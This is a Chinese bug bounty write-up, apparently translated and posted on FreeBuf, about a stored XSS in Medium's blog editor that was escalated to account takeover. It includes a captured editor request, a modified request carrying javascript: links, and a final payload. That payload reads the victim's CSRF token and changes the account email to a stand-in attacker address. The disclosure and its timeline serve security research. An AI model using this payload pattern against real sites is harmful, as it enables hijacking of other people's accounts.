Medium博客平台从Stored XSS到账号劫持

2019 年 8 月 30 日 FreeBuf

本文分享的是作者在博客平台Medium上编写文章时,偶然发现一个Stored XSS漏洞,在此基础上深入分析又发现了Account Takeover账号劫持漏洞,完美实现赏金1000的提升。

偶然发现Stored XSS漏洞

几个星期以前的某个晚上,我正在Medium上写博客,内容无非就是 - 为什么公司企业应该大力接纳漏洞众测模式…云云,一番吐槽宣泄之后,脑子短路突然不知道该写啥了。那就休息休息先干点别的吧,于是我就摆弄起Medium的博客编辑器来。

我不太记得当时我是怎么做的了,但是,我注意到可以从中添加类似于mailto:这样的特殊链接,所以,我脑子马上想起来,那既然能用mailto:样式,那能不能用javascript:呢?因此,我就用jAvAsCrIpT:confirm()来试了试。不敢相信,竟然可以的!我把它嵌入我的博客文章中,打开文章后点击对应链接,马上就跳出一个确认对话框来:

也就是说,我在Medium平台的关键位置发现了一个存储型XSS!立马上报之后我就睡觉去了。

不能就这样算了

第二天早上醒来,我想,能用5分钟发现一个存储型XSS漏洞,真的就只能如此了吗?接下来,在编写博客时,我就用Unsplash图片上传方式进行测试,并对此过程进行抓包,该POST请求如下:

  
  
    
POST /p/8f2xxxxxxx/deltas?logLockId=970 HTTP/1.1Host: medium.comUser-Agent: [Redacted]Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://medium.com/p/8f2xxxxxxx/editX-Obvious-CID: webX-XSRF-Token: [Redacted]X-Client-Date: [Redacted]Content-Type: application/jsonContent-Length: 536Connection: closeCookie: [Redacted]{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}

可以看到,其中存在X-XSRF-Token: [Redacted],以及超链接指定属性href,那把href其值替换成jAvAsCrIpT:confirm()试试看,替换后的请求如下:

  
  
    
{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}

哦靠,竟然又可以了!

现在这样,根据Medium赏金政策,顶多也就1000美金。所以我还是想搞个大的。

账户劫持

基于以上发现的编辑器存储型XSS,我想能不能测测账号劫持呢?由于请求交互过程中的会话Cookie具备HTTPonly设置,所以客户端脚本是不能正常读取Cookie内容的,当然也就无法窃取Cookie了,这就需要其它方法了。我来到个人资料选项设置中,看看能否把其中的注册邮箱地址更改替换成别人的邮箱,一试,竟然不需要密码就能更改。这种情况下,为了测试起见,我手动更改了其中的注册邮箱为我另一邮箱,然后往该邮箱发送了一条包含临时登录的URL链接,然后我在另一邮箱中打开该链接竟然能成功登录。整个过程可以用以下两步来实现:

1、用Stored XSS获得用户的CSRF token(该步骤中不可获取到Cookie)

2、向/me/email路径发送包含新邮箱的PUT请求

最终Payload如下:

  
  
    
JaVaScRiPt:var x=window.__PRELOADED_STATE__.session.xsrf;var h = new XMLHttpRequest();h.open(‘PUT’, ‘/me/email’, true);h.setRequestHeader(‘Content-Type’, ‘application/json’);h.setRequestHeader(‘X-XSRF-Token’, x);h.send(‘{“email”:”attacker@malicious.com”}’);

漏洞上报进程

2019.7.10  XSS漏洞初报

2019.7.10  再次上报Unsplash图片上传XSS漏洞

2019.7.12  上报账户劫持漏洞

2019.7.13  Medium安全团队响应并奖励$1000美金

2019.8.3   漏洞修复

2019.8.6   我获得Medium名人堂humans.txt致谢

*参考来源:medium,clouds编译整理,转载请注明来自FreeBuf.COM

精彩推荐



登录查看更多
0

相关内容

商业数据分析,39页ppt
专知会员服务
157+阅读 · 2020年6月2日
【高能所】如何做好⼀份学术报告& 简单介绍LaTeX 的使用
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
【实用书】流数据处理,Streaming Data,219页pdf
专知会员服务
76+阅读 · 2020年4月24日
专知会员服务
59+阅读 · 2020年3月19日
【资源】100+本免费数据科学书
专知会员服务
105+阅读 · 2020年3月17日
广东疾控中心《新型冠状病毒感染防护》,65页pdf
专知会员服务
18+阅读 · 2020年1月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
3 行代码 5 秒抠图的 AI 神器,根本无需 PS
大数据技术
20+阅读 · 2019年7月24日
告别 PS !3 行代码 5 秒搞定抠图的 AI 神器!
程序人生
6+阅读 · 2019年7月11日
Web渗透测试Fuzz字典分享
黑白之道
20+阅读 · 2019年5月22日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
抖音爬虫
专知
3+阅读 · 2019年2月11日
国内各大平台的推荐算法,看到360的时候笑喷了……
黑客技术与网络安全
5+阅读 · 2018年3月28日
【推荐】(TensorFlow)SSD实时手部检测与追踪(附代码)
机器学习研究会
11+阅读 · 2017年12月5日
码农日常工具推荐
架构文摘
4+阅读 · 2017年9月26日
Arxiv
19+阅读 · 2019年11月23日
Arxiv
3+阅读 · 2018年10月25日
Arxiv
11+阅读 · 2018年9月28日
Arxiv
5+阅读 · 2016年10月24日
VIP会员
相关VIP内容
商业数据分析,39页ppt
专知会员服务
157+阅读 · 2020年6月2日
【高能所】如何做好⼀份学术报告& 简单介绍LaTeX 的使用
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
【实用书】流数据处理,Streaming Data,219页pdf
专知会员服务
76+阅读 · 2020年4月24日
专知会员服务
59+阅读 · 2020年3月19日
【资源】100+本免费数据科学书
专知会员服务
105+阅读 · 2020年3月17日
广东疾控中心《新型冠状病毒感染防护》,65页pdf
专知会员服务
18+阅读 · 2020年1月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
94+阅读 · 2019年12月4日
相关资讯
3 行代码 5 秒抠图的 AI 神器,根本无需 PS
大数据技术
20+阅读 · 2019年7月24日
告别 PS !3 行代码 5 秒搞定抠图的 AI 神器!
程序人生
6+阅读 · 2019年7月11日
Web渗透测试Fuzz字典分享
黑白之道
20+阅读 · 2019年5月22日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
抖音爬虫
专知
3+阅读 · 2019年2月11日
国内各大平台的推荐算法,看到360的时候笑喷了……
黑客技术与网络安全
5+阅读 · 2018年3月28日
【推荐】(TensorFlow)SSD实时手部检测与追踪(附代码)
机器学习研究会
11+阅读 · 2017年12月5日
码农日常工具推荐
架构文摘
4+阅读 · 2017年9月26日
Top
微信扫码咨询专知VIP会员